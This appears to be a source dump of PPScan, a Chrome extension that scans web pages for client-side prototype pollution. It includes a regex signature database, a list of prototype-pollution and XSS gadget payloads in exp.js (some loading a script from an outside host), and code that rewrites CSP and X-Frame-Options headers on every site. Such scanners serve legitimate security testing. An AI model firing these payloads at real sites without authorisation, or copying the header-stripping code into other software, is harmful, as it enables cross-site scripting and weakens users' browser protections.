├── .gitignore ├── LICENSE ├── README.md ├── database.csv ├── example.html ├── images ├── example.png ├── example0.png └── example1.png ├── manifest.json ├── pages ├── background.html ├── iframe.html ├── options.html └── popup.html └── scripts ├── background.js ├── content_script.js ├── exp.js ├── options.js ├── popup.js └── utils.js /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 s1r1us 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PPScan 2 | 3 | 4 | Client Side Protype pollution Scanner 5 | 6 | 12 | 13 | 14 | ### How to use? 15 |
    16 |
  1. Clone the repo
  2. 17 |
  3. Install addon 18 | 19 | * In chrome, 20 | * Go to More Tools -> Extenstions 21 | * Enable Developer Mode 22 | * Click on "Load unpacked" and select the cloned repo folder. 23 | 24 |
  4. 25 |
  5. Visit the websites you want to test
  6. 26 |
27 | 28 | 29 | It only checks for vulnerable location parsers. 30 | 31 | 32 | ### Examples 33 | 1. https://msrkp.github.io/pp/1.html 34 | 2. https://msrkp.github.io/pp/2.html 35 | 36 | 37 | 38 | ### Why window mode? 39 | Window mode is useful when the application uses frame busting. 40 | #### Example 41 | https://msrkp.github.io/pp/3.html 42 | 43 | #### Note 44 | If, you see XFO or CSP errors reload the extension. 45 | Extension tested on chrome version 86. 46 | 47 | ### Found PP? What's Next? 48 | Check for the gadgets here https://github.com/BlackFan/client-side-prototype-pollution 49 | 50 | -------------------------------------------------------------------------------- /database.csv: -------------------------------------------------------------------------------- 1 | # Purl 2 | Purl [1]|regex|(String\(\w+\)\.split\(\/&\|;\/\)\,\s*function\() 3 | 4 | # CanJS deparam 5 | CanJS deparam [1]|regex|(\/\(\[\^\\\[\\\]\]\+\)\|\(\\\[\\\]\)\/g\s*) 6 | 7 | # MooTools More 8 | MooTools More [1]|regex|(\.substr\(0,\s*\w+\s*-\s*1\)\.match\(\/\(\[\^\\\]\\?\[\]\+\|\(\\B\)\(\?\=\\\]\)\)\/g\)) 9 | 10 | # jQuery BBQ 11 | jQuery BBQ [1]|regex|(\$\.each\(\s*\w+\.replace\(\s*\/\\\+\/g\s*,\s*[\'\"] [\'\"]\s*\)\.split\(\s*[\'\"]&[\'\"]\s*\)) 12 | jQuery BBQ [2]|regex|jQuery BBQ 13 | 14 | # deparam 15 | deparam [1]|regex|(\s*\/\\\[\/\.test\(\s*\w+\[0\]\s*\)\s*&&\s*\/\\\]\$\/\.test\(\s*\w+\[\s*\w+\s*\]\s*\)\s*) 16 | deparam [2]|regex|([\'\"]\[\][\'\"]\s*===\s*\w+\s*\?\s*\w+\.push\(\w+\)\s*:\s*\w+\[\w+\]\s*=\s*\w+) 17 | 18 | # backbone query parameters 19 | backbone-query-parameters [2]|regex|(\s*(\w+)\s*=\s*\2\[(\w+)\]\s*=\s*\2\[\3\]\s*\|\|\s*\{\}) 20 | 21 | # V4Fire Core 22 | V4Fire Core [1]|regex|(\w+\s*=\s*\/\\\[\(\[\^\\\]\]\*\)\]\/g) 23 | 24 | # jQuery Sparkle 25 | jQuery Sparkle [1]|regex|(\w+\s*=\s*\w+\.split\(\/\\\&\(amp\\\;\)\?\/\)) 26 | 27 | # jQuery query-object 28 | jQuery Query-Object [1]|regex|(\/\^\(\[\^\[\]\+\)\(\\\[\.\*\\\]\)\?\$\/\.exec\(\s*\w+\s*\)) 29 | jQuery Query-Object [2]|text|/* jQuery querystring plugin */ 30 | jQuery Query-Object [3]|text|/^([^[]+?)(\[.*\])?$/.exec( 31 | 32 | # queryToObject 33 | queryToObject [1]|regex|(\.match\(\/\(\^\[\^\[\]\+\)\(\\\[\.\*\\\]\$\)\?\/\)) 34 | 35 | # fera.ai (getJsonFromUrl) 36 | cdn.fera.ai [1]|regex|(\?\s*decodeURIComponent\(\s*\w+\.substr\(\s*\w+\s*\+\s*1\)\)\s*:\s*[\'\"][\'\"]) 37 | cdn.fera.ai [2]|text|getFeraActionParams 38 | cdn.fera.ai [3]|text|cdn.fera.ai/js/fera.js 39 | 40 | # Segment analytics.js 41 | Segment analytics.js [1]|regex|(\w+\s*=\s*\/\(\\w\+\)\\\[\(\\d\+\)\\\]\/) 42 | Segment analytics.js [2]|regex|(\(\w+\s*=\s*\w+\.exec\(\w+\)\)\s*\?\s*\(\s*\w+\[\w+\[1\]\]\s*=\s*\w+\[\w+\[1\]\]\s*\|\|\s*\[\]) 43 | 44 | # YUI 3 querystring-parse 45 | YUI 3 querystring-parse [1]|regex|(\/\(\.\*\)\\\[\(\[\^\\\]\]\*\)\\\]\$\/\.exec\(\w+\)) 46 | 47 | # flow.io 48 | flow.io [1]|regex|(\w+\s*=\s*\/\\\[\?\(\[\^\\\]\[\]\+\)\\\]\?\/g) 49 | 50 | # jquery.parseParams.js 51 | jQuery.parseParams.js [1]|regex|(\w+\s*=\s*\w+\.split\(\/\\\.\(\.\+\)\?\/\)\[1\]) 52 | 53 | # wishpond (decodeQueryString) 54 | wishpond [1]|regex|(\w+\s*=\s*\w+\(\w+\[1\]\.slice\(\w+\s*\+\s*1,\s*\w+\[1\]\.indexOf\([\'\"]\][\'\"],\s*\w+\)\)\)) 55 | 56 | # Unknown Lib 1 57 | Unknown Lib [1]|regex|(\w+\.replace\(\s*[\'\"]\[\][\'\"]\s*,\s*[\'\"]\[[\'\"]\.concat\() 58 | 59 | # Unknown Lib 2 (JS equivalent of PHPs parse_str) 60 | Unknown Lib [2]|regex|(\w+\s*=\s*\w+\.slice\(0,\s*\w+\.indexOf\([\'\"]\\x?0?0[\'\"]\)\)) 61 | 62 | # Unknown Lib 3 63 | Unknown Lib [3]|regex|("\[\]"\s*===\s*\w+\.substring\(\w+\.length\s*-\s*2\)[\s\?\)\(]*(?:\w+\[)?\w+\s*=\s*\w+\.substring\(0,\s*\w+\.length\s*-\s*2\)) 64 | 65 | # Unknown Lib 4 66 | Unknown Lib [4]|regex|(\w+\.match\(\/\(\^\[\^\\\[\]\+\)\(\\\[\.\*\\\]\$\)\?\/\)) 67 | 68 | # Unknown Lib 5 69 | Unknown Lib [5]|regex|(\(\[\^\\\\\[\^\\\\\]\]\+\)\(\(\\\\\[\(\^\\\\\[\^\\\\\]\)\\\\\]\)\*\)) 70 | 71 | # Unknown Lib 6 (inbound setUrlParams) 72 | Unknown Lib [6]|regex|([\'\"]-1[\'\"]\s*==\s*\w+\[1\]\.indexOf\([\'\"]\[[\'\"]\)) 73 | 74 | # Unknown Lib 7 75 | Unknown Lib [7]|text|/([^&=]+)=?([^&]*)/g 76 | 77 | # Unknown Lib 8 78 | Unknown Lib [8]|text|toeStrFirstUp 79 | 80 | # Unknown Lib 9 (queryParamsToObject) 81 | Unknown Lib [9][1]|text|queryParamsToObject 82 | Unknown Lib [9][2]|text|/^[\{\[].*[\}\]]$/ -------------------------------------------------------------------------------- /example.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 8 | -------------------------------------------------------------------------------- /images/example.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/msrkp/PPScan/efc757a53aed79efb24324af2dc19a53597ad033/images/example.png -------------------------------------------------------------------------------- /images/example0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/msrkp/PPScan/efc757a53aed79efb24324af2dc19a53597ad033/images/example0.png -------------------------------------------------------------------------------- /images/example1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/msrkp/PPScan/efc757a53aed79efb24324af2dc19a53597ad033/images/example1.png -------------------------------------------------------------------------------- /manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "PPScan", 3 | "version": "1.0", 4 | "manifest_version": 2, 5 | "description": "Client Side Prototype Pollution Scanner", 6 | "options_page": "pages/options.html", 7 | "permissions": [ 8 | "tabs", 9 | "storage", 10 | "", 11 | "webRequest", 12 | "webRequestBlocking", 13 | "activeTab" 14 | ], 15 | "background": { 16 | "page": "pages/background.html", 17 | "persistent": true 18 | }, 19 | "content_scripts": [{ 20 | "matches": [ 21 | "" 22 | ], 23 | "js": [ 24 | "scripts/content_script.js" 25 | ], 26 | "all_frames": true 27 | }], 28 | "web_accessible_resources": [ 29 | "pages/iframe.html", 30 | "scripts/exp.js" 31 | ], 32 | "browser_action": { 33 | "default_popup": "pages/popup.html" 34 | } 35 | } -------------------------------------------------------------------------------- /pages/background.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /pages/iframe.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | PP 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /pages/options.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /pages/popup.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 90 | 91 | 92 | 93 |
96 |

Mode :

100 | 105 | 106 |
111 |

Brute Gadgets :


119 |
120 | 121 |

Found (Clear)

122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 |
hosttypelocation
131 | 132 | 133 | 134 | -------------------------------------------------------------------------------- /scripts/background.js: -------------------------------------------------------------------------------- 1 | const databaseUrl = chrome.extension.getURL('/database.csv'); 2 | 3 | /* initialize */ 4 | const found = new Set(); 5 | 6 | setBadgeCount(0); 7 | 8 | /* setup listeners */ 9 | chrome.runtime.onMessage.addListener((msg, sender, sendResponse) => { 10 | sourceUrl = new URL(msg); 11 | found.add(JSON.stringify({ domain: sourceUrl.origin, type: 'Active Mode', file: sourceUrl.href, lineCol: 0 })); 12 | setBadgeCount(found.size); 13 | }); 14 | 15 | chrome.extension.onConnect.addListener((port) => { 16 | console.log('[>] New Session ', port); 17 | if (port.name == "logger") { 18 | port.onMessage.addListener((msg) => { 19 | if (msg == 'clearLog') { 20 | found.clear(); 21 | setBadgeCount(0); 22 | } 23 | port.postMessage({ found: [...found] }); 24 | }); 25 | } 26 | }); 27 | 28 | chrome.runtime.onInstalled.addListener(() => { 29 | chrome.storage.sync.set({ toggle: false }, () => { 30 | console.log('[*] Toggle: disabled'); 31 | }); 32 | chrome.storage.sync.set({ buster: false }, () => { 33 | console.log('[*] Buster: disabled'); 34 | }); 35 | chrome.storage.sync.set({ passive: true }, () => { 36 | console.log('[*] Passive: enabled'); 37 | }); 38 | }); 39 | 40 | chrome.storage.sync.get("toggle", ({ toggle }) => { 41 | if (toggle) { 42 | chrome.webRequest.onHeadersReceived.addListener((response) => { 43 | response.responseHeaders.forEach(header => { 44 | if (isCSPHeader(header)) { 45 | header.value = `default-src * 'unsafe-inline' 'unsafe-eval' data: blob:; `; 46 | }; 47 | if (isXFrameEnabled(header)) { 48 | header.name = 'foo'; 49 | }; 50 | if (isCached(header)) { 51 | header.name = 'foo'; 52 | }; 53 | }); 54 | return { 55 | responseHeaders: response.responseHeaders, 56 | }; 57 | }, { 58 | urls: [''] 59 | }, ['blocking', 'responseHeaders', 'extraHeaders']); 60 | } 61 | }); 62 | 63 | chrome.storage.sync.get("passive", ({ passive }) => { 64 | if (passive) { updateDB(); } 65 | }); 66 | -------------------------------------------------------------------------------- /scripts/content_script.js: -------------------------------------------------------------------------------- 1 | document.addEventListener('TriggerBrute', () => { 2 | var iframe = document.createElement('iframe'); 3 | iframe.addEventListener('load', () => { 4 | iframe.contentWindow.postMessage({ 5 | url: location.href, 6 | foo: 'baz', 7 | type: 'search' 8 | }, '*'); 9 | }, false); 10 | iframe.src = chrome.runtime.getURL('/pages/iframe.html'); 11 | iframe.name = "ppdeadbeef"; 12 | iframe.id = "ppbada55"; 13 | iframe.style.display = "none"; 14 | document.body.appendChild(iframe); 15 | }); 16 | 17 | document.addEventListener('TriggerBruteHash', () => { 18 | var iframe = document.createElement('iframe'); 19 | iframe.addEventListener('load', () => { 20 | iframe.contentWindow.postMessage({ 21 | url: location.href, 22 | foo: 'baz', 23 | type: 'hash' 24 | }, '*'); 25 | }, false); 26 | iframe.src = chrome.runtime.getURL('/pages/iframe.html'); 27 | iframe.name = "ppdeadbeef"; 28 | iframe.id = "ppbada55"; 29 | iframe.style.display = "none"; 30 | document.body.appendChild(iframe); 31 | }); 32 | 33 | chrome.storage.sync.get("toggle", function(data) { 34 | if (data.toggle) { 35 | var inject = function check() { 36 | var logger = function(found) { 37 | var asdf = new CustomEvent('PPLog', { 'detail': found }); 38 | document.dispatchEvent(asdf); 39 | }; 40 | 41 | 42 | if (location.href.search("dummy") != -1) { 43 | // hack for frame busting 44 | loc = location.href; 45 | if (loc.indexOf('e32a5ec9c99') >= 0 && loc.search('a0def12bce') == -1) { 46 | // setTimeout(function() { 47 | if ((typeof(Object.prototype.e32a5ec9c99)!='undefined')) { 48 | logger(location.href); 49 | } 50 | var url = new URL(location.origin + location.pathname); 51 | url.hash = "__proto__[a0def12bce]=ddcb362f1d60&__proto__.a0def12bce=ddcb362f1d60&__proto__=&0[a0def12bce]=ddcb362f1d60&dummy" 52 | location = url.href; 53 | 54 | // }, 5 * 1000) 55 | } else if (loc.search('a0def12bce') != -1) { 56 | setTimeout(function() { 57 | if ((typeof(Object.prototype.a0def12bce)!='undefined')) { 58 | logger(location.href); 59 | } 60 | window.close(); 61 | }, 5 * 1000) 62 | } else { 63 | var url = new URL(loc); 64 | url.searchParams.append('__proto__[e32a5ec9c99]', 'ddcb362f1d60') 65 | url.searchParams.append('__proto__.e32a5ec9c99', 'ddcb362f1d60') 66 | url.searchParams.append('__proto__','') 67 | url.searchParams.append('0[a0def12bce]','ddcb362f1d60') 68 | location = url.href; 69 | } 70 | } 71 | 72 | window.onload = function() { 73 | if ((Object.prototype.e32a5ec9c99 == "ddcb362f1d60" || Object.prototype.a0def12bce == "ddcb362f1d60" || typeof(Object.prototype.a0def12bce)!='undefined' || typeof(Object.prototype.e32a5ec9c99)!='undefined')) { 74 | console.log(`%c--------------------Found one------------------\n${location.href}`, `color:red`); 75 | logger(location.href); 76 | } 77 | } 78 | 79 | var timerID = setInterval(function() { 80 | if ((Object.prototype.e32a5ec9c99 == "ddcb362f1d60" || Object.prototype.a0def12bce == "ddcb362f1d60" || typeof(Object.prototype.a0def12bce)!='undefined' || typeof(Object.prototype.e32a5ec9c99)!='undefined')) { 81 | console.log(`%c--------------------Found one------------------\n${location.href}`, `color:red`); 82 | logger(location.href); 83 | clearInterval(timerID); 84 | 85 | } 86 | }, 5 * 1000); 87 | } 88 | if (window.name.search("ppdeadbeef") == -1) { 89 | var iframe = document.createElement('iframe'); 90 | iframe.addEventListener('load', () => { 91 | iframe.contentWindow.postMessage({ 92 | url: location.href, 93 | foo: "bar" 94 | }, '*'); 95 | 96 | }, false); 97 | iframe.src = chrome.runtime.getURL('/pages/iframe.html'); 98 | iframe.name = "ppdeadbeef"; 99 | iframe.id = "ppbada55"; 100 | iframe.style.display = "none"; 101 | document.body.appendChild(iframe); 102 | } 103 | 104 | 105 | document.addEventListener('PPLog', function(event) { 106 | chrome.runtime.sendMessage(event.detail); 107 | }); 108 | 109 | inject = '(' + inject + ')()'; 110 | var script = document.createElement("script"); 111 | script.setAttribute('type', 'text/javascript') 112 | script.appendChild(document.createTextNode(inject)); 113 | document.documentElement.appendChild(script); 114 | } 115 | }) 116 | -------------------------------------------------------------------------------- /scripts/exp.js: -------------------------------------------------------------------------------- 1 | var PAYLOADS = [ 2 | // ['XSS Prototype #1', 'x[__proto__][e32a5ec9c99]', 'ddcb362f1d60', ], 3 | // ['XSS Prototype #2', 'x.__proto__.e32a5ec9c99','ddcb362f1d60', ], 4 | ['XSS Prototype #3', '__proto__[e32a5ec9c99]', 'ddcb362f1d60', ], 5 | ['XSS Prototype #4', '__proto__.e32a5ec9c99', 'ddcb362f1d60', ], 6 | // ['XSS Prototype #5', '__proto__','{\"e32a5ec9c99\":\"e32a5ec9c99\"}'], 7 | // ['XSS Prototype #6', '__proto__','{\"__proto__\":{\"e32a5ec9c99\":\"e32a5ec9c99\"}}'] 8 | ]; 9 | 10 | var GADGETS = [ 11 | '__proto__[innerHTML]=', 12 | '__proto__[context]=&__proto__[jquery]=x', 13 | '__proto__[url][]=data:,debugger//&__proto__[dataType]=script', 14 | '__proto__[url]=data:,debugger//&__proto__[dataType]=script&__proto__[crossDomain]=', 15 | '__proto__[src][]=data:,debugger//', 16 | '__proto__[url]=data:,debugger//', 17 | '__proto__[div][0]=1&__proto__[div][1]=&__proto__[div][2]=1', 18 | '__proto__[preventDefault]=x&__proto__[handleObj]=x&__proto__[delegateTarget]=', 19 | '__proto__[srcdoc][]=', 20 | '__proto__[hif][]=javascript:debugger', 21 | '__proto__[attrs][src]=1&__proto__[src]=//p6.is/ppscan.php', 22 | '__proto__[BOOMR]=1&__proto__[url]=//p6.is/ppscan.php', 23 | '__proto__[sourceURL]=%E2%80%A8%E2%80%A9debugger', 24 | '__proto__[innerText]=', 25 | '__proto__[CLOSURE_BASE_PATH]=data:,debugger//', 26 | '__proto__[tagName]=img&__proto__[src][]=x:&__proto__[onerror][]=debugger', 27 | '__proto__[src]=data:,debugger//', 28 | '__proto__[xxx]=debugger', 29 | '__proto__[onload]=debugger', 30 | '__proto__[script][0]=1&__proto__[script][1]=&__proto__[script][2]=1', 31 | "__proto__[4]=a':1,[debugger]:1,'b&__proto__[5]=,", 32 | '__proto__[onerror]=debugger', 33 | '__proto__[div][intro]=', 34 | "__proto__[v-if]=_c.constructor('debugger')()", 35 | '__proto__[attrs][0][name]=src&__proto__[attrs][0][value]=xxx&__proto__[xxx]=data:,debugger//&__proto__[is]=script', 36 | "__proto__[v-bind:class]=''.constructor.constructor('debugger')()", 37 | '__proto__[data]=a&__proto__[template][nodeType]=a&__proto__[template][innerHTML]=', 38 | `__proto__[props][][value]=a&__proto__[name]=":''.constructor.constructor('debugger')(),"`, 39 | '__proto__[template]=', 40 | '__proto__[srcdoc]=', 41 | '__proto__[Config][SiteOptimization][enabled]=1&__proto__[Config][SiteOptimization][recommendationApiURL]=//p6.is/ppscan.php', 42 | ]; 43 | 44 | window.addEventListener('message', function(event) { 45 | if (event.data.url && event.data.foo == "baz") { 46 | if (window.name.search("ppdeadbeef1") == -1) { // avoiding recurssion 47 | var url = event.data.url; 48 | for (let idx in GADGETS) { 49 | if (event.data.type != 'hash') { 50 | setTimeout(() => { 51 | let iframe = document.createElement("iframe"); 52 | let target_url = new URL(url); 53 | 54 | target_url.search = GADGETS[idx]; 55 | iframe.name = "ppdeadbeef1" 56 | iframe.src = target_url; 57 | console.log(`[search:${+idx + 1}] `, target_url.href); 58 | document.documentElement.appendChild(iframe); 59 | }, 500 * idx); 60 | } else { 61 | setTimeout(() => { 62 | let iframe = document.createElement("iframe"); 63 | let target_url = new URL(url); 64 | 65 | target_url.hash = GADGETS[idx]; 66 | iframe.name = "ppdeadbeef1" 67 | iframe.src = target_url; 68 | console.log(`[hash:${+idx + 1}] `, target_url.href); 69 | document.documentElement.appendChild(iframe); 70 | }, 500 * idx); 71 | } 72 | } 73 | } 74 | } else if (event.data.url && event.data.foo == "bar") { 75 | chrome.storage.sync.get("buster", function(data) { 76 | if (data.buster) { 77 | var url = event.data.url; 78 | console.log(url) 79 | if (url.search("dummy") == -1 && window.name.search("ppdeadbeef1") == -1) { // avooiding recursion 80 | var locasdf = new URL(url); 81 | locasdf.searchParams.append('dummy', 'dummy') // avoiding recursion(twitter removes window.name) 82 | locasdf.hash = "#dummy" 83 | var a = window.open(locasdf.href, "ppdeadbeef1win"); 84 | // a.blur(); 85 | 86 | } 87 | } else { 88 | if (window.name.search("ppdeadbeef1") == -1) { // avoiding recurssion 89 | var url = event.data.url; 90 | for (i = 0; i < PAYLOADS.length; i++) { 91 | for (j = 0; j < 2; j++) { 92 | var locasdf = new URL(url); 93 | 94 | // debugger; 95 | var iframe = document.createElement("iframe"); 96 | j ? locasdf.searchParams.append(PAYLOADS[i][1], PAYLOADS[i][2]) : locasdf.hash = "#" + PAYLOADS[i][1] + "=" + PAYLOADS[i][2]; 97 | iframe.name = "ppdeadbeef1" 98 | console.log(decodeURI(locasdf.href)); 99 | iframe.src = decodeURI(locasdf.href); 100 | // iframe.sandbox="allow-forms allow-scripts allow-same-origin" 101 | document.documentElement.appendChild(iframe); 102 | } 103 | } 104 | } 105 | } 106 | }); 107 | } 108 | }); -------------------------------------------------------------------------------- /scripts/options.js: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/msrkp/PPScan/efc757a53aed79efb24324af2dc19a53597ad033/scripts/options.js -------------------------------------------------------------------------------- /scripts/popup.js: -------------------------------------------------------------------------------- 1 | var port = chrome.extension.connect({ 2 | name: "logger" 3 | }); 4 | 5 | 6 | function logger() { 7 | chrome.storage.sync.get("toggle", function(data) { 8 | document.getElementById("toggle").value = data.toggle ? "Disable Active Mode" : "Enable Active Mode"; 9 | }); 10 | chrome.storage.sync.get("buster", function(data) { 11 | document.getElementById("buster").value = data.buster ? "Disable Window Mode" : "Enable Window Mode"; 12 | }); 13 | chrome.storage.sync.get("passive", function(data) { 14 | document.getElementById("passive").value = data.passive ? "Disable Passive Mode" : "Enable Passive Mode"; 15 | }); 16 | document.getElementById("toggle").onclick = function() { 17 | chrome.storage.sync.get("toggle", function(data) { 18 | if (data.toggle) { 19 | chrome.storage.sync.set({ "toggle": false }); 20 | chrome.storage.sync.set({ "buster": false }); 21 | document.getElementById("toggle").value = "Enable Active Mode"; 22 | document.getElementById("buster").style.display = "none"; 23 | } else { 24 | chrome.storage.sync.set({ "toggle": true }); 25 | document.getElementById("buster").style.display = "block"; 26 | document.getElementById("toggle").value = "Disable Active Mode"; 27 | } 28 | }); 29 | } 30 | document.getElementById("buster").onclick = function() { 31 | chrome.storage.sync.get("buster", function(data) { 32 | if (data.buster) { 33 | chrome.storage.sync.set({ "buster": false }); 34 | document.getElementById("buster").value = "Enable Window Mode"; 35 | } else { 36 | chrome.storage.sync.set({ "buster": true }); 37 | document.getElementById("buster").value = "Disable Window Mode"; 38 | } 39 | }); 40 | } 41 | 42 | document.getElementById("passive").onclick = function() { 43 | chrome.storage.sync.get("passive", function(data) { 44 | if (data.passive) { 45 | chrome.storage.sync.set({ "passive": false }); 46 | document.getElementById("passive").value = "Enable Passive Mode"; 47 | } else { 48 | chrome.storage.sync.set({ "passive": true }); 49 | document.getElementById("passive").value = "Disable Passive Mode"; 50 | } 51 | }); 52 | } 53 | 54 | document.getElementById("brute").onclick = function() { 55 | chrome.tabs.executeScript(null, { 56 | code: `document.dispatchEvent(new CustomEvent('TriggerBrute'));` 57 | }); 58 | } 59 | 60 | document.getElementById("brutehash").onclick = function() { 61 | chrome.tabs.executeScript(null, { 62 | code: `document.dispatchEvent(new CustomEvent('TriggerBruteHash'));` 63 | }); 64 | } 65 | 66 | document.getElementById("clear").onclick = function() { 67 | port.postMessage('clearLog'); 68 | } 69 | 70 | port.postMessage('send found urls'); 71 | 72 | port.onMessage.addListener(function(found) { 73 | listFound(found.found); 74 | }); 75 | 76 | 77 | } 78 | 79 | window.onload = logger 80 | 81 | const foundLabel = document.getElementById('found-label'); 82 | const foundList = document.getElementById('found-list'); 83 | 84 | function listFound(found) { 85 | // foundList.innerHTML = ''; 86 | foundLabel.style.display = foundList.style.display = found.length > 0 ? 'block' : 'none'; 87 | 88 | found.forEach((str) => { 89 | const line = JSON.parse(str) 90 | const tr = document.createElement("tr"); 91 | tr.innerHTML = `${new URL(line['domain']).hostname}${line['type']}${line['file']}:${line['lineCol']}`; 92 | foundList.appendChild(tr); 93 | }); 94 | } -------------------------------------------------------------------------------- /scripts/utils.js: -------------------------------------------------------------------------------- 1 | const DEBUG = false; 2 | 3 | const blacklist = [ 4 | 'https://www.google.com/pagead/conversion_async.js:19:76', 5 | 'https://www.google.com/pagead/conversion.js:28:76', 6 | 'https://www.googleadservices.com/pagead/conversion_async.js:19:76', 7 | 'https://www.googleadservices.com/pagead/conversion.js:28:76' 8 | ]; 9 | 10 | let database = []; 11 | 12 | const patternMatch = (response, database) => { 13 | const result = []; 14 | const matches = []; 15 | 16 | database.forEach((pattern) => { 17 | const { name, type, chunk } = pattern; 18 | 19 | switch (type) { 20 | case 'regex': 21 | const re = new RegExp(chunk, 'i'); 22 | const match = re.exec(response); 23 | 24 | if (match) { 25 | result.push(name); 26 | matches.push(match); 27 | }; 28 | break; 29 | case 'text': 30 | const position = response.indexOf(chunk); 31 | 32 | if (position != -1) { 33 | result.push(name); 34 | matches.push({ index: position }); 35 | }; 36 | break; 37 | } 38 | }); 39 | 40 | return [result, matches]; 41 | }; 42 | 43 | const downloadDB = (url) => { 44 | return new Promise((resolve, reject) => { 45 | fetch(url).then( 46 | response => response.text() 47 | ).then(res => { 48 | const ret = res.split('\n').map(line => { 49 | line = line.trim(); 50 | if (line.startsWith('#') || line == '') { return; } 51 | 52 | let data = line.split('|'); 53 | let name, type, chunk; 54 | 55 | name = data[0].trim(); 56 | type = data[1].trim(); 57 | chunk = data.slice(2).join('|').trim(); 58 | 59 | return { name, type, chunk }; 60 | }).filter(notnull => notnull); 61 | 62 | resolve(ret); 63 | }) 64 | .catch(err => { 65 | console.log(err); 66 | reject(new Error('Error downloading ' + url)) 67 | }) 68 | }); 69 | }; 70 | 71 | const download = (url) => { 72 | return new Promise((resolve, reject) => { 73 | fetch(url).then( 74 | response => response.text() 75 | ).then(data => { 76 | resolve(data); 77 | }) 78 | .catch(err => { 79 | reject(new Error('Error downloading ' + url)) 80 | }) 81 | }); 82 | }; 83 | 84 | const check = ({ requestUri, initiator }) => { 85 | if (DEBUG) { 86 | console.log(`[%] ${requestUri}`) 87 | } 88 | 89 | const url = new URL(requestUri); 90 | 91 | if (blacklist.indexOf(url.hostname + url.pathname) != -1) { 92 | return; 93 | }; 94 | if (!url.hostname || !url.pathname) { 95 | return; 96 | }; 97 | if (url.protocol == "http:" || url.protocol == "https:") { 98 | download(url).then(res => { 99 | const [result, match] = patternMatch(res, database); 100 | 101 | result.forEach((name, i) => { 102 | const preChunk = res.substr(0, match[i].index).split(/\n/); 103 | const line = preChunk.length; 104 | const column = preChunk[preChunk.length - 1].length; 105 | const lineCol = `${line}:${column}`; 106 | 107 | if (blacklist.indexOf(requestUri + ':' + lineCol) != -1) { 108 | return; 109 | } 110 | 111 | found.add(JSON.stringify({ domain: initiator, type: name, file: requestUri, lineCol })) 112 | setBadgeCount(found.size); 113 | }); 114 | }) 115 | } 116 | }; 117 | 118 | const filter = { 119 | urls: [""], 120 | types: ["script"] 121 | }; 122 | 123 | const scan = ({ method, url, initiator }) => { 124 | // if (method == "GET") { 125 | check({ requestUri: url, initiator }); 126 | // } 127 | }; 128 | 129 | const updateDB = () => { 130 | if (!database.length) { 131 | downloadDB(databaseUrl).then((_database) => { 132 | database = _database; 133 | chrome.webRequest.onCompleted.addListener(scan, filter, []); 134 | }).catch(e => console.log(e)); 135 | } 136 | }; 137 | 138 | const setBadgeCount = (len) => { 139 | chrome.browserAction.setBadgeText({ "text": '' + len }); 140 | chrome.browserAction.setBadgeBackgroundColor({ color: len > 0 ? [255, 0, 0, 255] : [0, 0, 255, 0] }); 141 | 142 | return; 143 | }; 144 | 145 | const maybeSame = (a, b) => { 146 | return a.toUpperCase().trim() == b.toUpperCase().trim(); 147 | }; 148 | 149 | const isCSPHeader = ({ name }) => { 150 | return maybeSame(name, 'Content-Security-Policy'); 151 | }; 152 | 153 | const isXFrameEnabled = ({ name }) => { 154 | return maybeSame(name, 'X-Frame-Options'); 155 | }; 156 | 157 | const isCached = ({ name }) => { 158 | return maybeSame(name, 'If-None-Match'); 159 | }; 160 | --------------------------------------------------------------------------------